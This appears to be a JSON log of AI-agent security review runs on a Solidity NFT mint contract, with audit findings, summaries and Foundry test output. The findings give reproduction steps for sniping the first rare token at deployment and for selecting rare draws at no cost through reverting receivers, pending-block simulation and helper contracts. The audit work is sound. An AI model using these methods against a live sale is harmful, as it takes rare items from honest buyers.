price times count per phase, actors only pay for mints they received, supply cap and views, reveal accounting and pool size, token state following reveal order with settled outcomes never changing, ERC-721 custody, and the one-way gate. A scripted sellout re-evaluates every invariant at the fully minted, fully revealed state so none is vacuous.\n- `test/BMCIlluminatiPassEdges.t.sol`: 25 unit and fuzz tests on failure paths and boundaries. Reveal window edges at ages 256/257 and 8191/8192, broken history contracts, forced-outcome determinism, tokens that burn less, burn from someone else, remint, revert, or lack `decimals()`, rejecting receivers rolling back the burn, `reveal` called from inside the mint callback, zero and max arguments, phase-boundary views, and gate behaviour under ownership transfer.\n- `test/mocks/MisbehavingBMC.sol`: the switchable token plus receiver stand-ins.\n\n**Results**\n\n| Check | Outcome |\n| --- | --- |\n| `forge build` | clean |\n| `forge test` (deliverable, scratch excluded) | 80 passed, 0 failed, 2 skipped (the pre-existing mainnet fork tests, which need an RPC) |\n| Invariant calls | 16,080 handler calls across the three suites, 0 reverts |\n| Wall time | about 34 seconds |\n\n**Findings reported in `.imd-findings.json`** (none is critical or high):\n\n- **Low:** a Mystery token's settled outcome depends on whether its predecessors were settled inside their window or force-settled after it, because the two paths remove different slots from the shared pool. The NatSpec claim that delaying a reveal can never improve an outcome is false for successors. Concrete case included (token 42 gets Standard #423 on one path and #418 on the other for the same hash), with a self-contained proof test that fails on the current code.\n- **Low:** renouncing or mis-transferring ownership before the single `openMinting()` call on chain id 1 leaves the collection closed forever.\n- **Info:** revealing all 460 pending passes in one call costs about 29.5M gas, near the block limit; the website's cap of 50 is fine, third-party revealers should be warned.\n- **Info:** the `BurnMismatch` error reports the supply delta even when the balance delta is what failed, so a wrong-account burn reverts with two equal numbers.\n\n**Still owed:** the two mainnet fork tests against the real BMC token remain skipped here because this machine and the verifier have no network. The misbehaving-token mock stands in for the live token's documented behaviour.","treeHash":"d2eeeb7ac299ffb067a56765be28b822f4f8e286","usage":{"cachedInputTokens":3094521,"inputTokens":706,"model":"claude-fable-5-1","outputTokens":80205,"runtime":"claude","turns":51,"wallClockMs":1234907}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"c35be49d2f8f8def","findings":[{"citation":"resolved","description":"Access-control / timing asymmetry (Access Control guide: 'who can call what, and when'; Trust Gap seam access x asymmetry). The brief (section 2 and section 8) requires that minting stay disabled until the NFT contract is deployed, Etherscan-verified, its bytecode compared with the reviewed build, minting/burning validated against the deployed contract, and public minting explicitly authorized. The only gate implementing this is the website's PRE_LAUNCH/LIVE flag (website/config.js, mint-client.js configuredLive). The contract itself has no launch gate of any kind: mintGenesis() and mintMystery() are callable by any address the moment the factory creates the contract, there is no start time, no one-way open switch, and the owner role has no function that could hold the sale (the existing test test_AuditCIDIsFixedAndNoPostDeploymentConfigurationExists confirms no setter exists). docs/LAUNCH.md acknowledges 'Direct mint calls become possible as soon as it is deployed' and asks the deployer to 'coordinate accordingly', but the required post-deployment steps (explorer verification, byte-for-byte runtime comparison, deployed mint/burn validation, authorization) necessarily take time after deployment, so there is always a window in which bots watching the factory/Etherscan can mint while the intended audience (website users) is told 'Coming Soon'. The two caller classes are treated asymmetrically by the launch design: contract-level callers get first access to the scarcest items, website users get none. Concrete harm: token #1 'Legendary Genesis' ('Rank: First Minter', 'the rarest piece of the 500-piece collection') and Early Genesis #2-40 go to whoever snipes the deployment, not to the launch. In addition, section 8's 'minting and burning are validated against the deployed contract' cannot be done on mainnet without consuming real sequential token ids (the validator would receive #1). Fix options, both preserving economics and prices; the requester must choose because the NatSpec currently promises 'Ownership confers no special mint, withdrawal, pause ... power': (a) a one-way owner call openMinting() that can only enable and never disable (no pause/rug power is introduced; mint functions revert with MintNotOpen() until it is called), or (b) a constructor uint256 mintStart timestamp (static word, factory-compatible) chosen far enough ahead to complete verification, with mint functions reverting before it. The website's LIVE gate remains as the second layer.","line":132,"path":"src/BMCIlluminatiPass.sol","reproduction":"State: BMCIlluminatiPass just deployed (any owner, BMC = 0x38224239f2BDae357D47cb864BC533d7f72dF961), website still in PRE_LAUNCH, no authorization given. Input: an unrelated address `bot` holding 1,000,000 BMC calls BMC.approve(pass, 1_000_000e18) then pass.mintGenesis() in the deployment block or any later block. Expected per brief section 8: no mint possible until launch authorization. Actual: the call succeeds, returns tokenId 1, tierOf(1) == LegendaryGenesis, 1,000,000 BMC burned; owner calls to pause()/setMintActive(bool)/openMinting() all fail with no such function. Verified in a scratch Foundry test (test_NoLaunchGate_FirstCallerTakesLegendary): fresh deploy -> bot approves and calls mintGenesis -> id == 1 and tier == LegendaryGenesis; the three owner-side gate selectors return success=false.","severity":"medium","snippet":"    function mintGenesis() external nonReentrant returns (uint256 tokenId) {\n        if (totalMinted >= GENESIS_PHASE_SUPPLY) revert GenesisPhaseOver();","title":"No on-chain launch control: minting (including Legendary Genesis #1) is open to anyone from the deployment block, so the brief's 'keep minting disabled until verified and approved' cannot be enforced"},{"citation":"resolved","description":"Trust Gap seam economics x asymmetry: the same 350,000 BMC buys a different expected outcome depending on caller class. The brief explicitly accepts block-derived randomness and asks that the risk be explained (the contract NatSpec, docs/SECURITY-REVIEW.md and website/mint/index.html do so honestly), so this is reported as a documented design risk with its measured magnitude, not as a request to change the agreed design. Three properties combine: (1) every input to `word` is known before inclusion (prevrandao of the next block is the current RANDAO mix, blockhash(n-1) is the current head, mainnet slot timestamps are fixed), so an EOA can eth_call mintMystery against the pending block and only submit when the result is Genesis, paying nothing for unfavourable slots; (2) the mint is atomic with the draw and _safeMint calls back the receiver, so a contract buyer reads tierOf(tokenId) in onERC721Received and reverts unwanted draws, rolling the burn back (any contract can equally revert after the call returns, so switching to _mint would not help); (3) msg.sender is an entropy input the caller chooses freely, so one actor with N helper contracts gets N independent draws per block and can usually land a Genesis within the same block. Measured in scratch tests on this code: a receiver that reverts on Standard obtained all 37 Mystery Genesis (tokens 41-77) paying exactly 37 x 350,000 BMC; one hub with 64 helper caller contracts took all 37 within 21 blocks (about 4 minutes) with 746 in-block attempts; a plain EOA using simulate-then-submit took 10 Genesis in 57 slots with zero failed transactions. Honest website buyers then pay the same 350,000 BMC and can only receive Standard. Options, each a scope decision for the requester: keep as-is and make the website disclosure say concretely that any buyer can select outcomes at no extra cost (the current text says 'can be manipulated' and 'buyers can simulate outcomes', which is accurate but understates that selection is free and does not need a validator); or move to a two-step draw that is still block-derived and VRF-free (mint burns and records a commitment, the outcome is fixed from a blockhash of a later block, revealed within 256 blocks), which removes the free selection since the outcome is unknown when the burn becomes irreversible. Removing msg.sender from the hash alone only removes the in-block multiplier, not the free retry across blocks.","line":155,"path":"src/BMCIlluminatiPass.sol","reproduction":"State: Genesis phase complete (totalMinted == 40), attacker holds 37 x 350,000 BMC. Variant A (contract buyer): deploy a contract R whose onERC721Received reverts unless pass.tierOf(tokenId) == Tier.Genesis; R approves the pass for BMC; each block R calls pass.mintMystery() inside try/catch. Expected for a fair sale: ~8% of R's successful mints are Genesis and R pays for every draw. Actual: every successful mint is Genesis, failed draws roll back the burnFrom so R pays only gas; after 37 successes remainingMysteryGenesis() == 0, tokens 41..77 are all Genesis and owned by R, R's BMC balance is exactly 0 (37 x 350k spent). Afterwards address `honest` approves and calls mintMystery() 5 times: all 5 are Tier.Standard. Variant B (EOA): before each slot run eth_call { from: eoa, to: pass, data: mintMystery() } against the next block and read tierOf of the returned id; submit the real transaction only when it is Genesis. Measured: 10 Genesis in 57 slots, eoa balance 0 after 10 x 350k, no failed transaction. Variant C (same-block selection): hub holding 64 pre-deployed Minter contracts transfers 350k BMC to Minter[i] and calls Minter[i].mint() in a loop until one succeeds; since msg.sender differs per Minter the draw differs per call in the same block. Measured: all 37 Mystery Genesis in 21 blocks, 746 attempts total, totalBurned == 40 x 1,000,000e18 + 37 x 350,000e18.","severity":"low","snippet":"        uint256 word = uint256(keccak256(abi.encode(\n            block.prevrandao,\n            block.number == 0 ? bytes32(0) : blockhash(block.number - 1),\n            block.timestamp,\n            address(this),\n            msg.sender,\n            tokenId\n        )));","title":"Mystery draw entropy includes msg.sender and the outcome is observable before the transaction commits: any buyer can select Genesis outcomes at inventory price, draining all 37 Mystery Genesis for 37 "}],"hash":"da602d927513ef76dd247734a4d6970d9927066b03a47bb7c965947791db432c","nodeId":"fc6d0adf-5fac-452f-9b22-30ee2e5bd3d2","outcome":"completed","summary":"The review is complete. The findings file is written and validated against the tree, and the only new file in the repository is `.imd-findings.json` (scratch tests and build output sit in ignored directories).\n\n**What I covered.** The access-control, trust-gap and asymmetry passes over `src/BMCIlluminatiPass.sol`, with the inherited OpenZeppelin ERC721, Ownable and ReentrancyGuard confirmed byte-identical to upstream v5.1.0, the real BMC token's verified source fetched from Sourcify, and the website's approval and live-gate code read as the off-chain permission layer. The existing 33-test suite passes. All nine listed entry points have a coverage row, plus four invariant rows.\n\n**Findings (2):**\n\n- **Medium, no on-chain launch control.** Both mint functions are open to anyone from the deployment block, and the owner has no function that could hold the sale. The brief's rule that minting stay disabled until verification and authorization is enforced only by the website flag, so the Legendary Genesis #1 and Early Genesis go to whoever watches the factory, not to launch buyers. A scratch test shows a fresh deployment handing token #1 to the first caller. Suggested fix is a one-way enable call or a constructor start time, flagged as a scope decision because the contract currently promises the owner no powers.\n- **Low, free outcome selection in the Mystery phase.** This is the accepted block-randomness risk, reported with its measured size: because the caller's address is an entropy input and the draw is observable and revertible before the burn commits, one actor with 64 helper contracts took all 37 Mystery Genesis in 21 blocks for exactly the inventory price, and a plain EOA using simulate-then-submit paid nothing for losing slots. The website disclosure is accurate but understates that selection costs nothing and needs no validator.\n\n**What holds.** BMC is only ever burned from the caller, so stale approvals cannot be spent by third parties. The BMC token has no owner, pause, blocklist or fee. ERC-721 approvals and transfers are unmodified upstream code. Ownership transfer and renouncement are harmless on-chain since the owner holds no power. Paired state writes between the two mint paths are symmetric. The website approves only the exact price and never unlimited.\n\n**Not reached.** No real-browser wallet test, no mainnet fork run of the deployed-token tests (they skip without a fork RPC), and no review of the future `launch.json`, which does not exist yet.","treeHash":null,"usage":{"cachedInputTokens":1889068,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":36651,"runtime":"claude","turns":37,"wallClockMs":620152}}],"verification":[{"checks":[{"durationMs":3039,"exitCode":0,"name":"build","output":"Compiling 53 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.96s\nCompiler run successful!\n","passed":true},{"durationMs":20658,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/BMCMainnetFork.t.sol:BMCMainnetForkTest\n[SKIP] test_RealBMCGenesisMint() (gas: 0)\n[SKIP] test_RealBMCMysteryMint() (gas: 0)\n[SKIP] test_RealBMCShortAllowanceCannotBurnInEitherPhase() (gas: 0)\n[SKIP] test_RealBMCShortBalanceRestoresAllowanceInEitherPhase() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 4 skipped; finished in 351.56µs (335.23µs CPU time)\n\nRan 1 test for test/FactoryCompatibility.t.sol:FactoryCompatibilityTest\n[PASS] test_StaticConstructorOnEmptyChainAndRuntimePolicy() (gas: 12842708)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.23ms (18.11ms CPU time)\n\nRan 1 test for test/BMCPassInvariant.t.sol:BMCPassHandlerReachabilityTest\n[PASS] test_HandlerExercisesFailuresTransfersBoundaryAndSellout() (gas: 112587662)\nLogs:\n  Bound result 0\n  Bound result 0\n  Bound result 24\n  Bound result 15\n  Bound result 2\n  Bound result 1000000000000000000000000\n  Bound result 350000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 2592000\n  Bound result 7200\n  Bound result 350000000000000000000000\n  Bound result 1000000000000000000000000\n  Bound result 500\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 58.15ms (57.85ms CPU time)\n\nRan 33 tests for test/BMCIlluminatiPass.t.sol:BMCIlluminatiPassTest\n[PASS] testFuzz_SingleRevealAlwaysInInventory(uint256) (runs: 64, μ: 10735354, ~: 10732294)\n[PASS] test_AuditCIDIsFixedAndNoPostDeploymentConfigurationExists() (gas: 10127929)\n[PASS] test_AuditElevenMysteryMintsRevealWithoutAnyExternalService() (gas: 14223854)\n[PASS] test_BlockZeroDoesNotUnderflowRandomnessInput() (gas: 10690799)\n[PASS] test_Constants() (gas: 82525)\n[PASS] test_ConstructorRejectsZeroOwnerAndToken() (gas: 6423)\n[PASS] test_DeployScriptConfig() (gas: 8624378)\n[PASS] test_DeployScriptRequiresOwner() (gas: 4619355)\n[PASS] test_ExcessAllowanceOnlyBurnsPrice() (gas: 341744)\n[PASS] test_FirstMinterGetsLegendaryGenesis1() (gas: 2070077)\n[PASS] test_Full500MintSimulation() (gas: 154526649)\n[PASS] test_FullMintOutInSameBlock() (gas: 131557506)\n[PASS] test_GenesisRevertsAfterPhase1() (gas: 10531443)\n[PASS] test_Mints2To40AreSequentialGenesis() (gas: 14428551)\n[PASS] test_MysteryMetadataPermanentAcrossBlocksAndTransfers() (gas: 11707962)\n[PASS] test_MysteryRevertsDuringPhase1() (gas: 455741)\n[PASS] test_NoOwnerMintOrWithdrawSurface() (gas: 58240)\n[PASS] test_Phase1CostsExactlyOneMillion() (gas: 390314)\n[PASS] test_Phase2CostsExactly350k() (gas: 10804338)\n[PASS] test_ReentrancyAcrossPhaseBoundaryRollsBackEverything() (gas: 10310428)\n[PASS] test_ReentrancyGenesisBlocked() (gas: 877241)\n[PASS] test_ReentrancyMysteryBlocked() (gas: 11256522)\n[PASS] test_RevertInsufficientAllowance() (gas: 179198)\n[PASS] test_RevertInsufficientBalance() (gas: 193181)\n[PASS] test_RevertNoAllowance() (gas: 144285)\n[PASS] test_RevertWhenTokenDecimalsUnexpected() (gas: 726216)\n[PASS] test_RevertWhenTokenDoesNotActuallyBurn() (gas: 742771)\n[PASS] test_StandardArtCombinationsUnique() (gas: 1482916)\n[PASS] test_StandardArtCoversEveryTrait() (gas: 743743)\n[PASS] test_StandardArtRendersWithoutGenesisTraits() (gas: 30070199)\n[PASS] test_StandardMetadataAfterReveal() (gas: 19295368)\n[PASS] test_TransfersAreStandard() (gas: 469439)\n[PASS] test_ViewsRevertForNonexistent() (gas: 33646)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 759.89ms (690.39ms CPU time)\n\nRan 9 tests for test/BMCPassMintProperties.t.sol:BMCPassMintPropertiesTest\n[PASS] testFuzz_ExcessApprovalSpendsOnlyOnePrice(bool,uint256) (runs: 1000, μ: 3531975, ~: 6528242)\nLogs:\n  Bound result 34586024112043123771451114632327402743973356330024630605378306120782242290493\n\n[PASS] testFuzz_MintLogsIdentifyActualBuyerOutcomeAndBurn(bool,uint256) (runs: 1000, μ: 3524401, ~: 6518601)\n[PASS] testFuzz_UnmintedMetadataViewsRejectAcrossUint256Domain(uint256,bool) (runs: 1000, μ: 3194134, ~: 6253410)\nLogs:\n  Bound result 322904717071325244454536447418751309606193747115854880933715\n\n[PASS] test_BuyersCompetingForLastGenesisOnlyPayForSuccessfulMints() (gas: 6747444)\n[PASS] test_BuyersCompetingForLastNFTCannotOverpayOrReopenSale() (gas: 87313650)\n[PASS] test_ExactApprovalCannotBeReusedByDuplicateMintInEitherPhase() (gas: 6793024)\n[PASS] test_ExistingUnlimitedAllowanceStillBurnsOnlyOnePrice() (gas: 302254)\n[PASS] test_NativeETHCannotPayForEitherMint() (gas: 6539635)\n[PASS] test_TokenZeroAnd501HaveNoMetadataAfterSellout() (gas: 87098309)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 759.92ms (2.15s CPU time)\n\nRan 13 tests for test/BMCPassFailurePaths.t.sol:BMCPassFailurePathsTest\n[PASS] testFuzz_AllowanceShortfallPreservesAllState(bool,uint256) (runs: 1000, μ: 3799494, ~: 6847741)\nLogs:\n  Bound result 5\n\n[PASS] testFuzz_BalanceShortfallRestoresSpentAllowance(bool,uint256) (runs: 1000, μ: 4087204, ~: 7107548)\nLogs:\n  Bound result 5\n\n[PASS] testFuzz_DecimalsRecheckedBeforeBurn(bool,uint8) (runs: 1000, μ: 3756067, ~: 6828879)\n[PASS] testFuzz_OnlyExactPayerAndSupplyBurnCanMint(bool,uint8) (runs: 1000, μ: 4220994, ~: 7229335)\nLogs:\n  Bound result 4\n\n[PASS] testFuzz_ReceiverRejectsWithoutLosingPaymentOrInventory(bool,uint8) (runs: 1000, μ: 5551161, ~: 8573301)\nLogs:\n  Bound result 1\n\n[PASS] test_DependencyCodeDisappearsBeforeMysteryMint() (gas: 6469845)\n[PASS] test_GenesisBurnCannotReenterEitherMint() (gas: 727792)\n[PASS] test_MysteryBurnCannotReenterEitherMint() (gas: 7056578)\n[PASS] test_ReceiverCanForwardMintWithoutChangingBurnOrMetadata() (gas: 8031379)\n[PASS] test_ReceiverReentryCaughtAllowsExactlyOneMintAtBoundary() (gas: 8132183)\n[PASS] test_RejectedDrawsLeaveTheEntireFutureInventoryUnchanged() (gas: 270482717)\n[PASS] test_TokenRevertAfterAllowanceSpendRollsBackBothPhases() (gas: 7385375)\n[PASS] test_ZeroAndOneWeiShortfallsInBothPhases() (gas: 8106409)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 760.03ms (4.06s CPU time)\n\nRan 1 test for test/BMCPassInvariant.t.sol:BMCPassSelloutInvariantTest\n[PASS] invariant_ConservationOwnershipAndUniqueInventory() (runs: 256, calls: 32768, reverts: 0)\n\n╭----------------+----------------------+-------+---------+----------╮\n| Contract       | Selector             | Calls | Reverts | Discards |\n+====================================================================+\n| BMCPassHandler | attemptMint          | 4141  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | changeEnvironment    | 4087  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | changeOwner          | 4157  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | mintBatch            | 3994  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | moveBMC              | 4064  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | moveNFT              | 4230  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | rejectReceiverMint   | 4067  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | unauthorizedTransfer | 4028  | 0       | 0        |\n╰----------------+----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 24\n  Bound result 15\n  Bound result 8\n  Bound result 10\n  Bound result 2265265\n  Bound result 1112\n  Bound result 12343\n  Bound result 256\n  Bound result 999999999999999999999991\n  Bound result 8\n  Bound result 299999999999999999999998\n  Bound result 244\n  Bound result 78\n  Bound result 1078113758\n  Bound result 899005\n  Bound result 500\n  Bound result 0\n  Bound result 18\n  Bound result 4\n  Bound result 492\n  Bound result 1\n  Bound result 428\n  Bound result 49152\n  Bound result 2973\n  Bound result 413741\n  Bound result 16\n  Bound result 117\n  Bound result 372\n  Bound result 241\n  Bound result 871\n  Bound result 51169736469828889512631\n  Bound result 100\n  Bound result 2587\n  Bound result 125\n  Bound result 122\n  Bound result 3\n  Bound result 500\n  Bound result 495\n  Bound result 12\n  Bound result 1\n  Bound result 96\n  Bound result 3184\n  Bound result 381\n  Bound result 443\n  Bound result 239\n  Bound result 2211556\n  Bound result 4601\n  Bound result 1753041\n  Bound result 37\n  Bound result 2158778572\n  Bound result 24\n  Bound result 395239\n  Bound result 0\n  Bound result 0\n  Bound result 49\n  Bound result 422\n  Bound result 62613760933030227185720\n  Bound result 7200\n  Bound result 489\n  Bound result 87\n  Bound result 415\n  Bound result 113\n  Bound result 1\n  Bound result 0\n  Bound result 5\n  Bound result 350\n  Bound result 184\n  Bound result 255\n  Bound result 16\n  Bound result 1320491\n  Bound result 5273\n  Bound result 111\n  Bound result 15937\n  Bound result 95\n  Bound result 6120\n  Bound result 8\n  Bound result 159049237625545157065068\n  Bound result 182\n  Bound result 19702\n  Bound result 197\n  Bound result 4\n  Bound result 16\n  Bound result 197617054187606781401808\n  Bound result 446\n  Bound result 5365\n  Bound result 6\n  Bound result 3178318615886271\n  Bound result 7200\n  Bound result 1372\n  Bound result 13226\n  Bound result 300000\n  Bound result 4\n  Bound result 1\n  Bound result 11\n  Bound result 1327\n  Bound result 150\n  Bound result 495\n  Bound result 3\n  Bound result 95\n  Bound result 1898\n  Bound result 157198260\n  Bound result 100\n  Bound result 383860363755686892575214\n  Bound result 12\n  Bound result 0\n  Bound result 5435\n  Bound result 385\n  Bound result 251\n  Bound result 18704\n  Bound result 276444927966917756432644\n  Bound result 999\n  Bound result 5400\n  Bound result 3721\n  Bound result 863500457265290588826743\n  Bound result 485\n  Bound result 1583197\n  Bound result 52\n  Bound result 1398282\n  Bound result 5719\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.47s (8.41s CPU time)\n\nRan 1 test for test/BMCPassInvariant.t.sol:BMCPassLifecycleInvariantTest\n[PASS] invariant_ConservationOwnershipAndUniqueInventory() (runs: 256, calls: 32768, reverts: 0)\n\n╭----------------+----------------------+-------+---------+----------╮\n| Contract       | Selector             | Calls | Reverts | Discards |\n+====================================================================+\n| BMCPassHandler | attemptMint          | 4141  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | changeEnvironment    | 4087  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | changeOwner          | 4157  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | mintBatch            | 3994  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | moveBMC              | 4064  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | moveNFT              | 4230  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | rejectReceiverMint   | 4067  | 0       | 0        |\n|----------------+----------------------+-------+---------+----------|\n| BMCPassHandler | unauthorizedTransfer | 4028  | 0       | 0        |\n╰----------------+----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 8\n  Bound result 10\n  Bound result 1854362\n  Bound result 4004\n  Bound result 1247\n  Bound result 256\n  Bound result 999999999999999999999991\n  Bound result 17\n  Bound result 299999999999999999999998\n  Bound result 244\n  Bound result 78\n  Bound result 1078113758\n  Bound result 1359553\n  Bound result 500\n  Bound result 0\n  Bound result 18\n  Bound result 4\n  Bound result 16\n  Bound result 1\n  Bound result 19\n  Bound result 49152\n  Bound result 2973\n  Bound result 1299324\n  Bound result 16\n  Bound result 33\n  Bound result 23\n  Bound result 11\n  Bound result 792\n  Bound result 51169736469828889512631\n  Bound result 100\n  Bound result 3458\n  Bound result 10\n  Bound result 19\n  Bound result 3\n  Bound result 35\n  Bound result 5\n  Bound result 12\n  Bound result 1\n  Bound result 96\n  Bound result 676\n  Bound result 6\n  Bound result 5\n  Bound result 9\n  Bound result 844053\n  Bound result 2452\n  Bound result 17191\n  Bound result 37\n  Bound result 1613\n  Bound result 24\n  Bound result 395239\n  Bound result 0\n  Bound result 0\n  Bound result 49\n  Bound result 422\n  Bound result 62613760933030227185720\n  Bound result 7200\n  Bound result 17\n  Bound result 42\n  Bound result 52\n  Bound result 33\n  Bound result 1\n  Bound result 0\n  Bound result 5\n  Bound result 24\n  Bound result 52\n  Bound result 19\n  Bound result 16\n  Bound result 2742\n  Bound result 3965\n  Bound result 49\n  Bound result 12804\n  Bound result 95\n  Bound result 513\n  Bound result 8\n  Bound result 848370960\n  Bound result 32\n  Bound result 10927\n  Bound result 55\n  Bound result 4\n  Bound result 16\n  Bound result 14417\n  Bound result 48\n  Bound result 5365\n  Bound result 6\n  Bound result 3178318615886271\n  Bound result 7200\n  Bound result 4456\n  Bound result 13226\n  Bound result 300000\n  Bound result 4\n  Bound result 32\n  Bound result 21\n  Bound result 1327\n  Bound result 71\n  Bound result 495\n  Bound result 3\n  Bound result 95\n  Bound result 218\n  Bound result 1977528031\n  Bound result 100\n  Bound result 383860363755686892575214\n  Bound result 59\n  Bound result 0\n  Bound result 3166\n  Bound result 80\n  Bound result 43\n  Bound result 13464\n  Bound result 10509\n  Bound result 999\n  Bound result 5400\n  Bound result 3852\n  Bound result 725055036533010832796640\n  Bound result 44\n  Bound result 2047551\n  Bound result 52\n  Bound result 1270217\n  Bound result 7091\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 20.57s (20.56s CPU time)\n\nRan 8 test suites in 20.57s (31.39s CPU time): 59 tests passed, 0 failed, 4 skipped (63 total tests)\n","passed":true},{"durationMs":885,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BMCIlluminatiPass.approve(address,uint256)\",\"BMCIlluminatiPass.mintGenesis()\",\"BMCIlluminatiPass.mintMystery()\",\"BMCIlluminatiPass.renounceOwnership()\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256,bytes)\",\"BMCIlluminatiPass.setApprovalForAll(address,bool)\",\"BMCIlluminatiPass.transferFrom(address,address,uint256)\",\"BMCIlluminatiPass.transferOwnership(address)\"],\"files\":{\".github/workflows/main.yml\":45,\".gitignore\":5,\"ADAPTATION.md\":134,\"README.md\":120,\"artwork/genesis/genesis-01.png\":7910,\"artwork/genesis/genesis-02.png\":6998,\"artwork/genesis/genesis-03.png\":7016,\"artwork/genesis/genesis-04.png\":6664,\"artwork/genesis/genesis-05.png\":7186,\"artwork/genesis/genesis-06.png\":6703,\"artwork/genesis/genesis-07.png\":6488,\"artwork/genesis/genesis-08.png\":6807,\"artwork/genesis/genesis-09.png\":6793,\"artwork/genesis/genesis-10.png\":6550,\"artwork/genesis/genesis-11.png\":6125,\"artwork/genesis/genesis-12.png\":6418,\"artwork/genesis/genesis-13.png\":6298,\"artwork/genesis/genesis-14.png\":5909,\"artwork/genesis/genesis-15.png\":6142,\"artwork/genesis/genesis-16.png\":5727,\"artwork/genesis/genesis-17.png\":6019,\"artwork/genesis/genesis-18.png\":399,\"artwork/genesis/genesis-19.png\":369,\"artwork/genesis/genesis-20.png\":359,\"artwork/genesis/genesis-21.png\":330,\"artwork/genesis/genesis-22.png\":385,\"artwork/genesis/genesis-23.png\":391,\"artwork/genesis/genesis-24.png\":411,\"artwork/genesis/genesis-25.png\":393,\"artwork/genesis/genesis-26.png\":390,\"artwork/genesis/genesis-27.png\":386,\"artwork/genesis/genesis-28.png\":402,\"artwork/genesis/genesis-29.png\":375,\"artwork/genesis/genesis-30.png\":369,\"artwork/genesis/genesis-31.png\":421,\"artwork/genesis/genesis-32.png\":338,\"artwork/genesis/genesis-33.png\":389,\"artwork/genesis/genesis-34.png\":365,\"artwork/genesis/genesis-35.png\":352,\"artwork/genesis/genesis-36.png\":384,\"artwork/genesis/genesis-37.png\":365,\"artwork/genesis/genesis-38.png\":438,\"artwork/genesis/genesis-39.png\":374,\"artwork/genesis/genesis-40.png\":411,\"artwork/genesis/genesis-41.png\":380,\"artwork/genesis/genesis-42.png\":377,\"artwork/genesis/genesis-43.png\":399,\"artwork/genesis/genesis-44.png\":385,\"artwork/genesis/genesis-45.png\":352,\"artwork/genesis/genesis-46.png\":343,\"artwork/genesis/genesis-47.png\":362,\"artwork/genesis/genesis-48.png\":408,\"artwork/genesis/genesis-49.png\":325,\"artwork/genesis/genesis-50.png\":433,\"artwork/genesis/genesis-51.png\":377,\"artwork/genesis/genesis-52.png\":376,\"artwork/genesis/genesis-53.png\":401,\"artwork/genesis/genesis-54.png\":389,\"artwork/genesis/genesis-55.png\":361,\"artwork/genesis/genesis-56.png\":332,\"artwork/genesis/genesis-57.png\":414,\"artwork/genesis/genesis-58.png\":405,\"artwork/genesis/genesis-59.png\":409,\"artwork/genesis/genesis-60.png\":405,\"artwork/genesis/genesis-61.png\":369,\"artwork/genesis/genesis-62.png\":366,\"artwork/genesis/genesis-63.png\":379,\"artwork/genesis/genesis-64.png\":425,\"artwork/genesis/genesis-65.png\":406,\"artwork/genesis/genesis-66.png\":413,\"artwork/genesis/genesis-67.png\":350,\"artwork/genesis/genesis-68.png\":404,\"artwork/genesis/genesis-69.png\":392,\"artwork/genesis/genesis-70.png\":378,\"artwork/genesis/genesis-71.png\":401,\"artwork/genesis/genesis-72.png\":355,\"artwork/genesis/genesis-73.png\":405,\"artwork/genesis/genesis-74.png\":394,\"artwork/genesis/genesis-75.png\":390,\"artwork/genesis/genesis-76.png\":424,\"artwork/genesis/genesis-77.png\":381,\"artwork/tools/generate_genesis.py\":206,\"docs/LAUNCH.md\":95,\"docs/SECURITY-REVIEW.md\":92,\"docs/TEST-RESULTS.md\":73,\"docs/genesis-verification.json\":932,\"docs/website-preservation.json\":33,\"foundry.toml\":25,\"remappings.txt\":3,\"script/Deploy.s.sol\":31,\"script/export_website_abi.py\":30,\"script/verify_genesis.py\":75,\"src/BMCIlluminatiPass.sol\":350,\"src/StandardArt.sol\":236,\"src/interfaces/IBMCToken.sol\":18,\"test/BMCIlluminatiPass.t.sol\":649,\"test/BMCMainnetFork.t.sol\":143,\"test/BMCPassFailurePaths.t.sol\":358,\"test/BMCPassInvariant.t.sol\":104,\"test/BMCPassMintProperties.t.sol\":250,\"test/FactoryCompatibility.t.sol\":38,\"test/TESTING.md\":95,\"test/invariant/BMCPassHandler.sol\":302,\"test/mocks/AdversarialMintActors.sol\":159,\"test/mocks/MockBMC.sol\":42,\"tes